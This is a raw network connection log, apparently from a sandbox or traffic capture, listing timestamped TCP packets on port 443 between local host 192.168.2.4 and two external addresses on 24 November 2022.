Nov 24, 2022 13:28:45.579991102 CET	49757	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.580394983 CET	49757	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.580439091 CET	443	49757	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.580499887 CET	443	49757	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.690578938 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:45.690622091 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:45.690809011 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:45.694176912 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:45.694200993 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:45.744695902 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:45.744777918 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:45.751593113 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:45.751615047 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:45.755769968 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:45.755795956 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:45.796233892 CET	49759	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.796314001 CET	443	49759	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.796390057 CET	49759	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.796752930 CET	49759	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.796781063 CET	443	49759	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.797132969 CET	443	49759	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.905436993 CET	49760	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.905492067 CET	443	49760	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.905559063 CET	49760	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.908173084 CET	49760	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.908199072 CET	443	49760	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:45.908402920 CET	443	49760	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.100303888 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.100406885 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.100433111 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.100469112 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.100503922 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.100534916 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.106009960 CET	49758	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.106043100 CET	443	49758	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.145973921 CET	49761	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:46.146053076 CET	443	49761	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.146161079 CET	49761	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:46.146564960 CET	49761	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:46.146600008 CET	443	49761	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.146656990 CET	443	49761	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.864434004 CET	49762	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:46.864509106 CET	443	49762	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.864633083 CET	49762	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:46.865025043 CET	49762	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:46.865061045 CET	443	49762	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.865164042 CET	443	49762	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:46.916898966 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.916949034 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.917129040 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.917752981 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.917783976 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.970252991 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:46.970416069 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.993921041 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:46.993961096 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.006985903 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.007033110 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.079435110 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.079602957 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.079796076 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.096579075 CET	49763	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.096632957 CET	443	49763	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.109951019 CET	49764	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.110023022 CET	443	49764	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.110116005 CET	49764	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.126493931 CET	49764	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.126540899 CET	443	49764	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.126662016 CET	443	49764	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.209817886 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.209870100 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.209947109 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.211431980 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.211457968 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.262058020 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.262662888 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.295075893 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.295103073 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.299366951 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.299390078 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.312745094 CET	49766	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.312808990 CET	443	49766	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.312953949 CET	49766	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.313368082 CET	49766	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.313395977 CET	443	49766	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.313499928 CET	443	49766	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.372325897 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.372433901 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.372447968 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.372486115 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.382363081 CET	49765	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.382399082 CET	443	49765	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.453339100 CET	49767	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.453407049 CET	443	49767	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.453825951 CET	49767	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.453825951 CET	49767	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.453913927 CET	443	49767	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.454169989 CET	443	49767	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.519114971 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.519174099 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.519371033 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.520879984 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.520920038 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.569766045 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.569863081 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.573323965 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.573342085 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.574589968 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.574608088 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.578149080 CET	49769	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.578241110 CET	443	49769	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.578360081 CET	49769	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.582526922 CET	49769	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.582552910 CET	443	49769	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.582669020 CET	443	49769	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.704521894 CET	49770	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.704603910 CET	443	49770	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.704714060 CET	49770	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.705087900 CET	49770	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.705128908 CET	443	49770	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.705236912 CET	443	49770	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.706845999 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.706938028 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.706960917 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.707979918 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.734498024 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.734764099 CET	443	49768	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.734915018 CET	49768	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.843012094 CET	49771	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.843091011 CET	443	49771	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.843286037 CET	49771	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.846828938 CET	49771	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:47.846863985 CET	443	49771	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.846980095 CET	443	49771	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:47.849673986 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.849771976 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.850234032 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.853679895 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.853714943 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.910917997 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.911032915 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.923648119 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.923670053 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.924168110 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:47.925146103 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.927253962 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:47.927268982 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.016174078 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.016303062 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.016324997 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.016351938 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.016374111 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.016407967 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.035067081 CET	49772	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.035108089 CET	443	49772	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.079808950 CET	49773	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.079890966 CET	443	49773	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.080013990 CET	49773	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.080432892 CET	49773	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.080463886 CET	443	49773	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.080566883 CET	443	49773	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.194763899 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.194834948 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.194930077 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.199765921 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.199832916 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.274710894 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.276042938 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.277920008 CET	49775	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.278000116 CET	443	49775	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.278592110 CET	49775	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.279061079 CET	49775	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.279093981 CET	443	49775	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.279196024 CET	443	49775	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.286045074 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.286083937 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.298332930 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.298372030 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.415329933 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.415493965 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.415544987 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.415994883 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.417463064 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.417668104 CET	443	49774	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.417751074 CET	49774	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.421339989 CET	49776	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.421396971 CET	443	49776	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.421530008 CET	49776	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.421948910 CET	49776	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.421978951 CET	443	49776	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.422040939 CET	443	49776	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.530602932 CET	49777	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.530668974 CET	443	49777	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.532080889 CET	49777	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.532476902 CET	49777	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.532505035 CET	443	49777	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.532577038 CET	443	49777	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.551815033 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.551897049 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.552035093 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.554955006 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.554987907 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.604329109 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.604548931 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.624638081 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.624681950 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.625607014 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.625709057 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.628124952 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.628139019 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.714061975 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.714173079 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.714221954 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.714266062 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.714337111 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.731956959 CET	49778	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.732008934 CET	443	49778	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.770306110 CET	49779	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.770378113 CET	443	49779	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.770497084 CET	49779	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.770845890 CET	49779	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.770878077 CET	443	49779	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.770998001 CET	443	49779	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.880640984 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.880701065 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.880868912 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.881450891 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.881475925 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.931308031 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.932246923 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.942250967 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.942280054 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.946365118 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:48.946382046 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:48.971127987 CET	49781	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.971208096 CET	443	49781	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.971307039 CET	49781	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.971690893 CET	49781	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:48.971730947 CET	443	49781	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:48.971816063 CET	443	49781	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.037805080 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.039583921 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.039616108 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.039688110 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.044439077 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.044539928 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.044838905 CET	443	49780	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.044939041 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.044939041 CET	49780	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.093611956 CET	49782	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.093672037 CET	443	49782	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.093780041 CET	49782	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.094202042 CET	49782	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.094232082 CET	443	49782	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.094280958 CET	443	49782	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.186283112 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.186336040 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.186422110 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.189333916 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.189368963 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.205178976 CET	49784	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.205249071 CET	443	49784	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.205502033 CET	49784	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.206394911 CET	49784	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.206422091 CET	443	49784	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.206537008 CET	443	49784	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.242814064 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.242933035 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.284837008 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.284874916 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.285790920 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.286469936 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.287132978 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.287147999 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.343822002 CET	49785	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.343899965 CET	443	49785	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.344003916 CET	49785	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.344386101 CET	49785	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.344413996 CET	443	49785	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.344511986 CET	443	49785	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.348423958 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.348509073 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.348526955 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.348601103 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.348634958 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.348712921 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.388782024 CET	49783	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.388804913 CET	443	49783	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.484707117 CET	49786	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.484736919 CET	443	49786	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.484847069 CET	49786	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.486430883 CET	49786	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.486449957 CET	443	49786	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.486524105 CET	443	49786	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.525764942 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.525811911 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.525912046 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.526612997 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.526632071 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.576855898 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.576977968 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.594537020 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.594556093 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.601149082 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.601167917 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.613769054 CET	49788	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.613816023 CET	443	49788	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.613892078 CET	49788	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.614259005 CET	49788	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:49.614281893 CET	443	49788	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.614378929 CET	443	49788	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:49.688544989 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.688671112 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:49.688910007 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.721157074 CET	49787	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:49.721187115 CET	443	49787	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.431134939 CET	49789	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.431215048 CET	443	49789	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.431513071 CET	49789	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.431740046 CET	49789	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.431771994 CET	443	49789	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.431818008 CET	443	49789	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.621608019 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.621658087 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.621803045 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.622728109 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.622761965 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.665843964 CET	49791	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.665899038 CET	443	49791	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.666769981 CET	49791	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.666769981 CET	49791	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.666858912 CET	443	49791	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.667648077 CET	443	49791	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.671397924 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.671637058 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.677423954 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.677443981 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.692908049 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.692931890 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.784475088 CET	443	49790	172.66.40.196	192.168.2.4
